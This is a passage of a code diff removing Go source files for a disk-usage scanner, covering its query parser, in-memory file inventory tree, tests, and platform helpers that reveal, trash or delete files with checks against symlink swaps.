return globNode{field: FName, pat: lv}
}
return containsNode{field: FName, sub: lv}
}
func (p *parser) values() ([]token, error) {
if p.peek().kind != tLParen {
t := p.next()
if t.kind != tWord && t.kind != tString {
return nil, fmt.Errorf("expected value at %d", t.pos+1)
}
return []token{t}, nil
}
p.next()
var out []token
for {
t := p.next()
if t.kind != tWord && t.kind != tString {
return nil, fmt.Errorf("expected value at %d", t.pos+1)
}
out = append(out, t)
switch n := p.next(); n.kind {
case tComma:
case tRParen:
return out, nil
default:
return nil, fmt.Errorf("expected , or ) at %d", n.pos+1)
}
}
}
func (p *parser) cmp(f Field, opTok token) (node, error) {
op := strings.ToLower(opTok.val)
if op == "~" {
op = "matches"
}
vals, err := p.values()
if err != nil {
return nil, err
}
if op != "in" && len(vals) != 1 {
return nil, fmt.Errorf("operator %s takes one value", op)
}
if f == FPath {
p.q.UsesPath = true
}
switch f {
case FSize, FAllocated, FAge, FModified, FFiles:
if op == "contains" || op == "matches" {
return nil, fmt.Errorf("%s cannot be used with numeric field", op)
}
var nums []int64
for _, v := range vals {
n, err := p.number(f, v.val)
if err != nil {
return nil, err
}
nums = append(nums, n)
}
if op == "in" {
op = "="
}
return numNode{field: f, op: op, vals: nums}, nil
}
// String-like fields.
switch op {
case "contains":
return containsNode{field: f, sub: strings.ToLower(vals[0].val)}, nil
case "matches":
re, err := regexp.Compile("(?i)" + vals[0].val)
if err != nil {
return nil, fmt.Errorf("bad regular expression: %v", err)
}
return reNode{field: f, re: re}, nil
case "=", "!=", "in":
var n node
var set []string
for _, v := range vals {
s := strings.ToLower(v.val)
if f == FExt {
s = strings.TrimPrefix(s, ".")
}
if f == FCategory {
c, ok := inventory.ParseCategory(s)
if !ok {
return nil, fmt.Errorf("unknown category %q", v.val)
}
s = strings.ToLower(c.String())
}
if f == FType {
s, err = normType(s)
if err != nil {
return nil, err
}
}
if f == FFlag {
if _, ok := flagNames[s]; !ok {
return nil, fmt.Errorf("unknown flag %q (sparse, hardlink, error, mount, incomplete, followed, broken)", v.val)
}
}
set = append(set, s)
}
if len(set) == 1 && strings.ContainsAny(set[0], "*?[") {
if _, err := filepath.Match(set[0], ""); err != nil {
return nil, fmt.Errorf("bad pattern %q", vals[0].val)
}
n = globNode{field: f, pat: set[0]}
} else {
n = eqNode{field: f, set: set}
}
if op == "!=" {
n = notNode{n}
}
return n, nil
}
return nil, fmt.Errorf("operator %s not valid for %s", op, opTok.val)
}
func normType(s string) (string, error) {
switch s {
case "f", "file":
return "file", nil
case "d", "dir", "directory":
return "directory", nil
case "l", "link", "symlink":
return "symlink", nil
case "other", "special":
return "special", nil
}
return "", fmt.Errorf("unknown type %q (file, dir, symlink, other)", s)
}
var flagNames = map[string]inventory.Flags{
"sparse": inventory.FlagSparse, "hardlink": inventory.FlagHardlinked, "hardlinked": inventory.FlagHardlinked,
"error": inventory.FlagError, "mount": inventory.FlagMountPoint, "incomplete": inventory.FlagIncomplete,
"followed": inventory.FlagFollowed, "broken": inventory.FlagBrokenLink,
}
// number parses sizes ("1.5GiB", "500MB", "10k"), ages ("365d", "2w") and
// dates ("2024-01-31"). Ages and dates are converted to modification times
// (unix nanoseconds) relative to p.now.
func (p *parser) number(f Field, s string) (int64, error) {
switch f {
case FSize, FAllocated:
return ParseSize(s)
case FFiles:
return strconv.ParseInt(s, 10, 64)
case FAge:
d, err := ParseAge(s)
return int64(d), err
case FModified:
for _, layout := range []string{"2006-01-02", "2006-01-02T15:04", "2006-01-02 15:04", time.RFC3339} {
if t, err := time.ParseInLocation(layout, s, time.Local); err == nil {
return t.UnixNano(), nil
}
}
if d, err := ParseAge(s); err == nil {
return p.now.Add(-d).UnixNano(), nil
}
return 0, fmt.Errorf("bad date %q (use YYYY-MM-DD or an age like 30d)", s)
}
return 0, fmt.Errorf("not numeric")
}
// ParseSize parses a size with optional unit. kB/MB/GB/TB are SI (powers of
// 1000); KiB/MiB/GiB/TiB are IEC (1024). Bare K/M/G/T follow the display
// setting (textutil.SI).
func ParseSize(s string) (int64, error) {
i := 0
for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') {
i++
}
if i == 0 {
return 0, fmt.Errorf("bad size %q", s)
}
v, err := strconv.ParseFloat(s[:i], 64)
if err != nil {
return 0, fmt.Errorf("bad size %q", s)
}
unit := strings.ToLower(strings.TrimSpace(s[i:]))
bare := 1024.0
if textutil.SI {
bare = 1000
}
mult := map[string]float64{"": 1, "b": 1,
"k": bare, "m": bare * bare, "g": bare * bare * bare, "t": bare * bare * bare * bare, "p": bare * bare * bare * bare * bare,
"kb": 1e3, "mb": 1e6, "gb": 1e9, "tb": 1e12, "pb": 1e15,
"kib": 1 << 10, "mib": 1 << 20, "gib": 1 << 30, "tib": 1 << 40, "pib": 1 << 50}
m, ok := mult[unit]
if !ok {
return 0, fmt.Errorf("unknown size unit %q", s[i:])
}
r := v * m
if r > 9e18 {
return 0, fmt.Errorf("size %q too large", s)
}
return int64(r), nil
}
// ParseAge parses durations like 90s, 30min, 12h, 7d, 2w, 6mo, 1y.
func ParseAge(s string) (time.Duration, error) {
i := 0
for i < len(s) && (s[i] >= '0' && s[i] <= '9' || s[i] == '.') {
i++
}
v, err := strconv.ParseFloat(s[:i], 64)
if err != nil {
return 0, fmt.Errorf("bad age %q", s)
}
day := 24 * time.Hour
units := map[string]time.Duration{"s": time.Second, "sec": time.Second, "min": time.Minute,
"h": time.Hour, "d": day, "": day, "w": 7 * day, "m": 30 * day, "mo": 30 * day, "y": 365 * day}
u, ok := units[strings.ToLower(s[i:])]
if !ok {
return 0, fmt.Errorf("unknown age unit %q (s, min, h, d, w, mo, y)", s[i:])
}
return time.Duration(v * float64(u)), nil
}
-117
View File
@@ -1,117 +0,0 @@
package inventory
import "strings"
// Category is a coarse file classification used for colouring and stats.
type Category uint8
const (
CatOther Category = iota
CatImage
CatVideo
CatAudio
CatArchive
CatDiskImage
CatDatabase
CatCode
CatDocument
CatExecutable
CatLog
CatCache
NumCategories
)
var categoryNames = [NumCategories]string{
"Other", "Image", "Video", "Audio", "Archive", "Disk image", "Database",
"Source code", "Document", "Executable", "Log", "Cache",
}
func (c Category) String() string {
if c < NumCategories {
return categoryNames[c]
}
return "Other"
}
// ParseCategory resolves a category by (case-insensitive) name or prefix.
func ParseCategory(s string) (Category, bool) {
s = strings.ToLower(strings.TrimSpace(s))
for i, n := range categoryNames {
ln := strings.ToLower(n)
if ln == s || strings.ReplaceAll(ln, " ", "") == s || strings.HasPrefix(ln, s) && len(s) >= 3 {
return Category(i), true
}
}
switch s {
case "vm", "virtual machine", "disk":
return CatDiskImage, true
case "db":
return CatDatabase, true
case "src", "source":
return CatCode, true
case "exe", "binary":
return CatExecutable, true
}
return 0, false
}
var extCategory = map[string]Category{}
func init() {
add := func(c Category, exts string) {
for _, e := range strings.Fields(exts) {
extCategory[e] = c
}
}
add(CatImage, "jpg jpeg png gif bmp tif tiff webp heic heif raw cr2 cr3 nef arw dng svg ico psd xcf avif jxl orf rw2")
add(CatVideo, "mp4 mkv mov avi wmv flv webm m4v mpg mpeg ts m2ts vob 3gp ogv mts")
add(CatAudio, "mp3 flac wav ogg oga opus m4a aac wma aiff aif alac mid midi")
add(CatArchive, "zip tar gz tgz bz2 tbz xz txz zst zstd 7z rar lz lz4 lzma cab deb rpm apk jar war cpio pkg snap whl gem")
add(CatDiskImage, "iso img qcow qcow2 vmdk vdi vhd vhdx hdd ova ovf dmg raw vmem vmsn nvram sav")
add(CatDatabase, "db sqlite sqlite3 db3 mdb accdb frm ibd myd myi ldf mdf ndf dbf wal kdbx realm lmdb rdb aof")
add(CatCode, "c h cc cpp cxx hpp hh go rs py pyc js mjs cjs ts tsx jsx java kt kts scala rb php pl pm sh bash zsh fish lua swift m mm cs fs vb r jl hs ml ex exs erl clj dart sql css scss sass less html htm vue svelte json yaml yml toml xml proto gradle cmake mk ipynb o a lib obj class")
add(CatDocument, "pdf doc docx odt rtf txt md rst tex xls xlsx ods csv tsv ppt pptx odp epub mobi djvu pages numbers key org adoc")
add(CatExecutable, "exe dll so dylib bin msi app elf ko sys efi appimage com")
add(CatLog, "log journal")
add(CatCache, "cache tmp temp swp bak old part crdownload")
}
// CategoryFor classifies a file by its (lower-case) extension and by
// whether it lives beneath a cache or log directory.
func CategoryFor(ext string, inCache, inLog bool) Category {
c, ok := extCategory[ext]
switch {
case inCache && (!ok || c == CatOther || c == CatCode):
return CatCache
case inLog && (!ok || c == CatArchive || c == CatOther):
return CatLog
case ok:
return c
}
return CatOther
}
// PathHints reports whether a directory path contains a cache or log
// component. It is evaluated once per directory, not per file.
func PathHints(path string) (inCache, inLog bool) {
lp := strings.ToLower(path)
for _, part := range strings.FieldsFunc(lp, func(r rune) bool { return r == '/' || r == '\\' }) {
switch part {
case "cache", ".cache", "caches", "__pycache__", ".npm", ".gradle", "inetcache", "temp", "tmp":
inCache = true
case "log", "logs", ".logs", "journal":
inLog = true
}
}
return
}
// Ext returns the lower-case extension of name without the dot ("" if none,
// or if the name is a dotfile like ".bashrc").
func Ext(name string) string {
i := strings.LastIndexByte(name, '.')
if i <= 0 || i == len(name)-1 || len(name)-i > 16 {
return ""
}
return strings.ToLower(name[i+1:])
}
-176
View File
@@ -1,176 +0,0 @@
package inventory
import (
"container/heap"
"sort"
)
// SizeMode selects which size drives layout and sorting.
type SizeMode uint8
const (
SizeAllocated SizeMode = iota // disk usage (default)
SizeLogical // apparent size
)
func (m SizeMode) String() string {
if m == SizeLogical {
return "logical"
}
return "allocated"
}
// Total returns the node's aggregate size in the given mode.
func (n *Node) Total(m SizeMode) int64 {
if m == SizeLogical {
return n.TotSize
}
return n.TotAlloc
}
// Own returns the node's own size in the given mode.
func (n *Node) Own(m SizeMode) int64 {
if m == SizeLogical {
return n.Size
}
return n.Alloc
}
type ranked struct {
id NodeID
key int64
}
type minHeap []ranked
func (h minHeap) Len() int { return len(h) }
func (h minHeap) Less(i, j int) bool {
if h[i].key != h[j].key {
return h[i].key < h[j].key
}
return h[i].id > h[j].id
}
func (h minHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] }
func (h *minHeap) Push(x any) { *h = append(*h, x.(ranked)) }
func (h *minHeap) Pop() any {
old := *h
x := old[len(old)-1]
*h = old[:len(old)-1]
return x
}
// TopK keeps the k entries with the largest keys; O(n log k).
type TopK struct {
k int
h minHeap
}
// NewTopK creates a collector for the k largest keys.
func NewTopK(k int) *TopK { return &TopK{k: k} }
// Offer considers one candidate.
func (t *TopK) Offer(id NodeID, key int64) {
if t.k <= 0 {
return
}
if len(t.h) < t.k {
heap.Push(&t.h, ranked{id, key})
return
}
if r := t.h[0]; key > r.key || key == r.key && id < r.id {
t.h[0] = ranked{id, key}
heap.Fix(&t.h, 0)
}
}
// Sorted returns the collected IDs, largest key first (ties by ID).
func (t *TopK) Sorted() []NodeID {
rs := append([]ranked(nil), t.h...)
sort.Slice(rs, func(i, j int) bool {
if rs[i].key != rs[j].key {
return rs[i].key > rs[j].key
}
return rs[i].id < rs[j].id
})
out := make([]NodeID, len(rs))
for i, r := range rs {
out[i] = r.id
}
return out
}
// Walk visits id and all its descendants depth-first (iteratively).
func (t *Tree) Walk(id NodeID, fn func(NodeID, *Node) bool) {
stack := []NodeID{id}
for len(stack) > 0 {
cur := stack[len(stack)-1]
stack = stack[:len(stack)-1]
n := t.Node(cur)
if !fn(cur, n) {
continue
}
for c := n.FirstChild; c != NoNode; c = t.Node(c).NextSibling {
stack = append(stack, c)
}
}
}
// Top returns the k nodes beneath (and including) root with the largest key,
// considering only nodes accepted by keep.
func (t *Tree) Top(root NodeID, k int, keep func(*Node) bool, key func(*Node) int64) []NodeID {
tk := NewTopK(k)
t.Walk(root, func(id NodeID, n *Node) bool {
if keep(n) {
tk.Offer(id, key(n))
}
return true
})
return tk.Sorted()
}
// SortedChildren returns the children of id ordered by size descending.
func (t *Tree) SortedChildren(id NodeID, m SizeMode) []NodeID {
var out []NodeID
t.Children(id, func(c NodeID, _ *Node) { out = append(out, c) })
sort.Slice(out, func(i, j int) bool {
a, b := t.Node(out[i]).Total(m), t.Node(out[j]).Total(m)
if a != b {
return a > b
}
return out[i] < out[j]
})
return out
}
// ExtStat summarises one extension.
type ExtStat struct {
Ext string
Cat Category
Count int64
Size int64 // logical
Alloc int64
}
// ExtStats aggregates file statistics by extension beneath root.
func (t *Tree) ExtStats(root NodeID) []ExtStat {
stats := make([]ExtStat, t.ExtCount())
t.Walk(root, func(_ NodeID, n *Node) bool {
if n.Kind == KindFile && n.Flags&FlagHardlinkDup == 0 {
s := &stats[n.Ext]
s.Count++
s.Size += n.Size
s.Alloc += n.Alloc
s.Cat = n.Cat
}
return true
})
out := stats[:0]
for i, s := range stats {
if s.Count > 0 {
s.Ext = t.exts[i]
s.Cat = CategoryFor(s.Ext, false, false)
out = append(out, s)
}
}
return out
}
-42
View File
@@ -1,42 +0,0 @@
package inventory
import "testing"
func TestTopKAndRecompute(t *testing.T) {
tr := New("/r", KindDir)
d := tr.Add(0, "d", KindDir)
for i := range 100 {
id := tr.Add(d, "f", KindFile)
n := tr.Node(id)
n.Size, n.Alloc = int64(i), int64(i)
}
tr.Recompute()
if got := tr.Node(0).TotSize; got != 4950 {
t.Fatalf("total %d", got)
}
if tr.Node(0).Files != 100 || tr.Node(0).Dirs != 1 {
t.Fatalf("counts %d %d", tr.Node(0).Files, tr.Node(0).Dirs)
}
top := tr.Top(0, 3, func(n *Node) bool { return n.Kind == KindFile }, func(n *Node) int64 { return n.Size })
if len(top) != 3 || tr.Node(top[0]).Size != 99 || tr.Node(top[2]).Size != 97 {
t.Fatalf("top %v", top)
}
if p := tr.Path(top[0]); p != "/r/d/f" {
t.Fatalf("path %q", p)
}
}
func TestExtAndCategory(t *testing.T) {
cases := map[string]string{"a.QCOW2": "qcow2", ".bashrc": "", "noext": "", "x.tar.gz": "gz", "trail.": ""}
for in, want := range cases {
if got := Ext(in); got != want {
t.Errorf("Ext(%q)=%q want %q", in, got, want)
}
}
if CategoryFor("qcow2", false, false) != CatDiskImage || CategoryFor("bin", true, false) != CatExecutable {
t.Fatal("category mapping")
}
if CategoryFor("", true, false) != CatCache {
t.Fatal("cache hint")
}
}
-106
View File
@@ -1,106 +0,0 @@
package inventory
import (
"errors"
"io/fs"
"syscall"
"time"
)
// ErrKind classifies scan errors for reporting.
type ErrKind uint8
const (
ErrPermission ErrKind = iota
ErrVanished
ErrIO
ErrLoop
ErrOther
NumErrKinds
)
func (k ErrKind) String() string {
return [...]string{"Permission denied", "Vanished during scan", "I/O error", "Symlink loop", "Other error"}[k]
}
// Classify maps an OS error to an ErrKind.
func Classify(err error) ErrKind {
switch {
case errors.Is(err, fs.ErrPermission):
return ErrPermission
case errors.Is(err, fs.ErrNotExist):
return ErrVanished
case errors.Is(err, syscall.ELOOP):
return ErrLoop
case errors.Is(err, syscall.EIO):
return ErrIO
}
return ErrOther
}
// ErrorRecord is one recorded scan error.
type ErrorRecord struct {
Node NodeID // node the error is attached to (the directory for listing failures)
Name string // entry name when no node was created (e.g. vanished)
Kind ErrKind
Msg string
}
// MaxErrorRecords caps the detailed error list; counts are always exact.
const MaxErrorRecords = 100_000
// Stats describes a scan as a whole.
type Stats struct {
Root string
Start, End time.Time
Complete bool // scan finished (possibly with errors)
Cancelled bool
Files, Dirs, Symlinks, Others int64
ErrCounts [NumErrKinds]int64
Errors []ErrorRecord
Excluded int64
SkippedMounts int64
VirtualSkipped int64
LoopsSkipped int64
BrokenLinks int64
HardlinkDups int64
Unscanned int64 // directories never read because the scan was cancelled
Excludes []string
OneFileSystem bool
Follow string
Workers int
FromSnapshot string
}
// TotalErrors sums all error kinds.
func (s *Stats) TotalErrors() int64 {
var t int64
for _, c := range s.ErrCounts {
t += c
}
return t
}
// AddError records an error (the detailed list is capped).
func (s *Stats) AddError(r ErrorRecord) {
s.ErrCounts[r.Kind]++
if len(s.Errors) < MaxErrorRecords {
s.Errors = append(s.Errors, r)
}
}
// Elapsed is the scan duration so far (or total once finished).
func (s *Stats) Elapsed() time.Duration {
if !s.End.IsZero() {
return s.End.Sub(s.Start)
}
return time.Since(s.Start)
}
// Incomplete reports whether totals may under-count real usage.
func (s *Stats) Incomplete() bool {
return !s.Complete || s.Cancelled || s.TotalErrors() > 0 || s.Unscanned > 0
}
-338
View File
@@ -1,338 +0,0 @@
// Package inventory is the in-memory filesystem model: an append-only arena
// of nodes addressed by stable NodeIDs, with incrementally maintained
// directory aggregates.
//
// Concurrency: a Tree has exactly one writer (the scan controller or a
// snapshot loader). Other goroutines must hold RLock while reading node data.
// Nodes are never removed, so a NodeID stays valid for the Tree's lifetime.
package inventory
import (
"math"
"path/filepath"
"slices"
"sync"
"time"
)
// NodeID addresses a node within one Tree. The root is always 0.
type NodeID uint32
// NoNode is the nil NodeID.
const NoNode NodeID = ^NodeID(0)
// Kind is the node type.
type Kind uint8
const (
KindFile Kind = iota
KindDir
KindSymlink
KindOther // devices, sockets, fifos, reparse points
)
func (k Kind) String() string {
return [...]string{"File", "Directory", "Symlink", "Special"}[k&3]
}
// Flags record per-node facts.
type Flags uint16
const (
FlagHardlinkDup Flags = 1 << iota // additional link to an inode counted elsewhere
FlagMountPoint // directory on a different device than its parent
FlagVirtualFS // virtual filesystem, not descended
FlagSkippedFS // other filesystem, not descended (--one-file-system)
FlagSparse // allocated < logical (sparse or compressed)
FlagError // stat or read failed
FlagIncomplete // directory contents not (fully) read
FlagScanned // directory fully read
FlagLoop // directory already visited via another path
FlagFollowed // reached through a followed symlink
FlagAllocUnknown // platform cannot report allocated size
FlagBrokenLink // symlink target does not exist
FlagHardlinked // regular file with link count > 1
FlagDeleted // moved to trash from the UI
)
// Node is one filesystem object. Sizes are own sizes; Tot* fields are
// aggregates including the node itself and (for directories) everything
// beneath it.
type Node struct {
Parent, FirstChild, NextSibling NodeID
dir uint32 // index into dir side table (directories only)
Name string // single path component; the root holds the full root path
Size, Alloc int64 // own logical / allocated bytes
TotSize, TotAlloc int64 // aggregates (hard-link duplicates contribute 0)
MTime int64 // unix nanoseconds
Files, Dirs uint32 // recursive counts beneath (dirs excludes self)
Errors uint32 // recursive error count beneath and including self
Mode uint32 // fs.FileMode bits
UID, GID uint32
Nlink uint32
Ext uint16
Flags Flags
Kind Kind
Cat Category
}
// IsDir reports whether the node is a directory.
func (n *Node) IsDir() bool { return n.Kind == KindDir }
// Delta is an aggregate change applied to a node and all its ancestors.
type Delta struct {
Size, Alloc int64
Files, Dirs, Errors int64
Cat [NumCategories]int64
}
const chunkBits = 16
const chunkSize = 1 << chunkBits
// chunked is a growable array that never moves existing elements.
type chunked[T any] struct {
c [][]T
n int
}
func (c *chunked[T]) add(v T) uint32 {
if c.n&(chunkSize-1) == 0 && c.n>>chunkBits == len(c.c) {
c.c = append(c.c, make([]T, 0, chunkSize))
}
ch := &c.c[c.n>>chunkBits]
*ch = append(*ch, v)
c.n++
return uint32(c.n - 1)
}
func (c *chunked[T]) at(i uint32) *T { return &c.c[i>>chunkBits][i&(chunkSize-1)] }
// Tree is the inventory for one scan root.
type Tree struct {
sync.RWMutex
nodes chunked[Node]
dirs chunked[[NumCategories]int64]
exts []string
extIdx map[string]uint16
Stats Stats
}
// New creates a tree whose root has the given full path and kind.
func New(rootPath string, kind Kind) *Tree {
t := &Tree{exts: []string{""}, extIdx: map[string]uint16{"": 0}}
t.Stats.Root = rootPath
t.Stats.Start = time.Now()
t.Add(NoNode, rootPath, kind)
return t
}
// Len returns the number of nodes.
func (t *Tree) Len() int { return t.nodes.n }
// Node returns the node for id. The pointer stays valid; reading its fields
// concurrently with the writer requires RLock.
func (t *Tree) Node(id NodeID) *Node { return t.nodes.at(uint32(id)) }
// Root returns the root NodeID (always 0).
func (t *Tree) Root() NodeID { return 0 }
// Add appends a child node and links it under parent. Only the writer may
// call it. It does not touch aggregates; use Propagate.
func (t *Tree) Add(parent NodeID, name string, kind Kind) NodeID {
n := Node{Parent: parent, FirstChild: NoNode, NextSibling: NoNode, Name: name, Kind: kind}
if kind == KindDir {
n.dir = t.dirs.add([NumCategories]int64{})
} else {
n.Ext = t.internExt(Ext(name))
}
id := NodeID(t.nodes.add(n))
if parent != NoNode {
p := t.Node(parent)
t.Node(id).NextSibling = p.FirstChild
p.FirstChild = id
}
return id
}
func (t *Tree) internExt(e string) uint16 {
if i, ok := t.extIdx[e]; ok {
return i
}
if len(t.exts) >= 1<<16-1 {
return 0
}
t.exts = append(t.exts, e)
t.extIdx[e] = uint16(len(t.exts) - 1)
return uint16(len(t.exts) - 1)
}
// ExtName returns the extension string for a node ("" if none).
func (t *Tree) ExtName(n *Node) string { return t.exts[n.Ext] }
// ExtCount returns the number of interned extensions (including "").
func (t *Tree) ExtCount() int { return len(t.exts) }
// ExtByIndex returns an interned extension.
func (t *Tree) ExtByIndex(i int) string { return t.exts[i] }
// CatSizes returns the per-category allocated bytes beneath a directory.
func (t *Tree) CatSizes(id NodeID) *[NumCategories]int64 {
n := t.Node(id)
if n.Kind != KindDir {
return nil
}
return t.dirs.at(n.dir)
}
// Propagate adds d to id and every ancestor. Cost is O(depth); callers batch
// many entries into one Delta.
func (t *Tree) Propagate(id NodeID, d Delta) {
for id != NoNode {
n := t.Node(id)
n.TotSize += d.Size
n.TotAlloc += d.Alloc
n.Files = addU32(n.Files, d.Files)
n.Dirs = addU32(n.Dirs, d.Dirs)
n.Errors = addU32(n.Errors, d.Errors)
if n.Kind == KindDir {
cs := t.dirs.at(n.dir)
for i, v := range d.Cat {
cs[i] += v
}
}
id = n.Parent
}
}
// satAdd adds non-negative int64s, saturating at the maximum.
func satAdd(a, b int64) int64 {
if b > 0 && a > math.MaxInt64-b {
return math.MaxInt64
}
return a + b
}
func addU32(a uint32, d int64) uint32 {
v := int64(a) + d
if v < 0 {
return 0
}
if v > 1<<32-1 {
return 1<<32 - 1
}
return uint32(v)
}
// Children calls fn for each child of id (in reverse insertion order).
func (t *Tree) Children(id NodeID, fn func(NodeID, *Node)) {
for c := t.Node(id).FirstChild; c != NoNode; {
n := t.Node(c)
fn(c, n)
c = n.NextSibling
}
}
// ChildCount returns the number of direct children.
func (t *Tree) ChildCount(id NodeID) int {
k := 0
for c := t.Node(id).FirstChild; c != NoNode; c = t.Node(c).NextSibling {
k++
}
return k
}
// Path reconstructs the full path of id.
func (t *Tree) Path(id NodeID) string {
var parts []string
for id != NoNode {
n := t.Node(id)
parts = append(parts, n.Name)
id = n.Parent
}
slices.Reverse(parts)
return filepath.Join(parts...)
}
// Ancestors returns the chain root..id inclusive.
func (t *Tree) Ancestors(id NodeID) []NodeID {
var out []NodeID
for id != NoNode {
out = append(out, id)
id = t.Node(id).Parent
}
slices.Reverse(out)
return out
}
// IsAncestor reports whether a is id or an ancestor of id.
func (t *Tree) IsAncestor(a, id NodeID) bool {
for id != NoNode {
if id == a {
return true
}
id = t.Node(id).Parent
}
return false
}
// Depth returns the number of ancestors of id.
func (t *Tree) Depth(id NodeID) int {
d := 0
for id = t.Node(id).Parent; id != NoNode; id = t.Node(id).Parent {
d++
}
return d
}
// Recompute rebuilds all aggregates bottom-up. It relies on the invariant
// that a parent's ID is smaller than its children's, which both the scanner
// and the snapshot loader guarantee. Used after loading a snapshot.
func (t *Tree) Recompute() {
for i := 0; i < t.Len(); i++ {
n := t.Node(NodeID(i))
n.TotSize, n.TotAlloc, n.Files, n.Dirs = 0, 0, 0, 0
n.Errors = 0
if n.Flags&FlagError != 0 {
n.Errors = 1
}
if n.Flags&FlagHardlinkDup == 0 {
n.TotSize, n.TotAlloc = n.Size, n.Alloc
}
if n.Kind == KindDir {
*t.dirs.at(n.dir) = [NumCategories]int64{}
}
}
// Sums saturate: snapshot data is untrusted and must not wrap to
// negative totals.
for i := t.Len() - 1; i > 0; i-- {
n := t.Node(NodeID(i))
p := t.Node(n.Parent)
p.TotSize = satAdd(p.TotSize, n.TotSize)
p.TotAlloc = satAdd(p.TotAlloc, n.TotAlloc)
p.Errors = addU32(p.Errors, int64(n.Errors))
cs := t.dirs.at(p.dir)
if n.Kind == KindDir {
p.Files = addU32(p.Files, int64(n.Files))
p.Dirs = addU32(p.Dirs, int64(n.Dirs)+1)
for c, v := range t.dirs.at(n.dir) {
cs[c] = satAdd(cs[c], v)
}
} else {
p.Files = addU32(p.Files, 1)
if n.Flags&FlagHardlinkDup == 0 {
cs[n.Cat] = satAdd(cs[n.Cat], n.Alloc)
}
}
}
}
// ExtIndexer returns a function interning extension strings; used by
// loaders that rebuild a tree from external data.
func (t *Tree) ExtIndexer() func(string) uint16 { return t.internExt }
-35
View File
@@ -1,35 +0,0 @@
//go:build unix
package platform
import (
"errors"
"io/fs"
"os"
"path/filepath"
"syscall"
)
// Delete permanently removes path (recursively for a directory) if it still
// matches want. The check and the removal both go through an os.Root on the
// parent directory, so a symlink swapped in since the scan cannot redirect
// the removal outside it.
func Delete(path string, want Expect) error {
if err := checkAbs(path); err != nil {
return err
}
dir, base := filepath.Dir(path), filepath.Base(path)
root, err := os.OpenRoot(dir)
if err != nil {
return err
}
defer root.Close()
fi, err := root.Lstat(base)
if err != nil {
return err
}
if fi.Sys().(*syscall.Stat_t).Uid != want.UID || fi.Mode()&fs.ModeType != want.Mode&fs.ModeType {
return errors.New("item changed since the scan (owner or type differs); rescan first")
}
return root.RemoveAll(base)
}
-36
View File
@@ -1,36 +0,0 @@
//go:build unix
package platform
import (
"io/fs"
"syscall"
)
func modeFromUnix(m uint32) fs.FileMode {
mode := fs.FileMode(m & 0o777)
switch m & syscall.S_IFMT {
case syscall.S_IFDIR:
mode |= fs.ModeDir
case syscall.S_IFLNK:
mode |= fs.ModeSymlink
case syscall.S_IFIFO:
mode |= fs.ModeNamedPipe
case syscall.S_IFSOCK:
mode |= fs.ModeSocket
case syscall.S_IFCHR:
mode |= fs.ModeDevice | fs.ModeCharDevice
case syscall.S_IFBLK:
mode |= fs.ModeDevice
}
if m&syscall.S_ISUID != 0 {
mode |= fs.ModeSetuid
}
if m&syscall.S_ISGID != 0 {
mode |= fs.ModeSetgid
}
if m&syscall.S_ISVTX != 0 {
mode |= fs.ModeSticky
}
return mode
}
-8
View File
@@ -1,8 +0,0 @@
//go:build !unix
package platform
import "os"
// OpenContent opens a file whose content is about to be read.
func OpenContent(path string) (*os.File, error) { return os.Open(path) }
-15
View File
@@ -1,15 +0,0 @@
//go:build unix
package platform
import (
"os"
"syscall"
)
// OpenContent opens a file whose content is about to be read. It does not
// follow a final symlink, and O_NONBLOCK keeps a FIFO swapped in since the
// scan from blocking open(2) forever; callers still check the file type.
func OpenContent(path string) (*os.File, error) {
return os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
}
-40
View File
@@ -1,40 +0,0 @@
package platform
import (
"errors"
"io/fs"
"os"
"os/exec"
"path/filepath"
)
// startDetached runs a helper program with an argument vector (never a
// shell), detached from the terminal so it cannot disturb the TUI.
func startDetached(name string, args ...string) error {
cmd := exec.Command(name, args...)
cmd.Stdin, cmd.Stdout, cmd.Stderr = nil, nil, nil
if err := cmd.Start(); err != nil {
return err
}
go cmd.Wait()
return nil
}
// Expect is what the scan recorded for an item about to be trashed. Trash
// refuses an item whose owner or file type no longer matches.
type Expect struct {
UID uint32
Mode fs.FileMode // only the type bits are compared
}
// checkAbs guards helper invocations: an absolute path can never be parsed
// as an option by the helper program.
func checkAbs(path string) error {
if !filepath.IsAbs(path) {
return errors.New("refusing relative path")
}
if _, err := os.Lstat(path); err != nil {
return err
}
return nil
}
-81
View File
@@ -1,81 +0,0 @@
package platform
import (
"errors"
"fmt"
"os"
"path/filepath"
"syscall"
)
// TrashName is the user-facing name of the trash.
const TrashName = "Trash"
// Reveal selects the item in Finder.
func Reveal(path string) error {
if err := checkAbs(path); err != nil {
return err
}
return startDetached("open", "-R", path)
}
// Trash moves path into ~/.Trash (same volume) or the volume's
// .Trashes/<uid> directory. It never copies and never deletes.
func Trash(path string, want Expect) error {
if err := checkAbs(path); err != nil {
return err
}
home, err := os.UserHomeDir()
if err != nil {
return err
}
dirs := []string{filepath.Join(home, ".Trash")}
if vol := volumeOf(path); vol != "" {
dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid())))
}
base := filepath.Base(path)
for vi, dir := range dirs {
if err := os.MkdirAll(filepath.Dir(dir), 0o700); err != nil {
continue
}
// A volume trash is on a shared filesystem: another user could plant
// a symlink or an open directory there, so insist on a private one.
if err := ensurePrivateDir(dir, vi > 0); err != nil {
continue
}
for i := 1; i < 10000; i++ {
name := base
if i > 1 {
name = fmt.Sprintf("%s %d", base, i)
}
dst := filepath.Join(dir, name)
if _, err := os.Lstat(dst); err == nil {
continue
}
err := renameChecked(path, dst, want)
if errors.Is(err, syscall.EXDEV) {
break // try the next trash location
}
return err
}
}
return errors.New("trash: item is on a volume without a usable trash")
}
func volumeOf(path string) string {
const prefix = "/Volumes/"
if len(path) > len(prefix) && path[:len(prefix)] == prefix {
rest := path[len(prefix):]
for i := 0; i < len(rest); i++ {
if rest[i] == '/' {
return prefix + rest[:i]
}
}
return path
}
return ""
}
// Headless is always false: macOS has Finder and the Trash even without
// $DISPLAY (which it does not use).
func Headless() bool { return false }
-132
View File
@@ -1,132 +0,0 @@
package platform
import (
"errors"
"fmt"
"net/url"
"os"
"path/filepath"
"strconv"
"syscall"
"time"
)
// TrashName is the user-facing name of the trash.
const TrashName = "trash"
// Reveal opens the item's directory in the desktop file manager.
func Reveal(path string) error {
if err := checkAbs(path); err != nil {
return err
}
fi, err := os.Lstat(path)
if err == nil && !fi.IsDir() {
path = filepath.Dir(path)
}
return startDetached("xdg-open", path)
}
// Trash moves path to the freedesktop.org trash: the home trash when on the
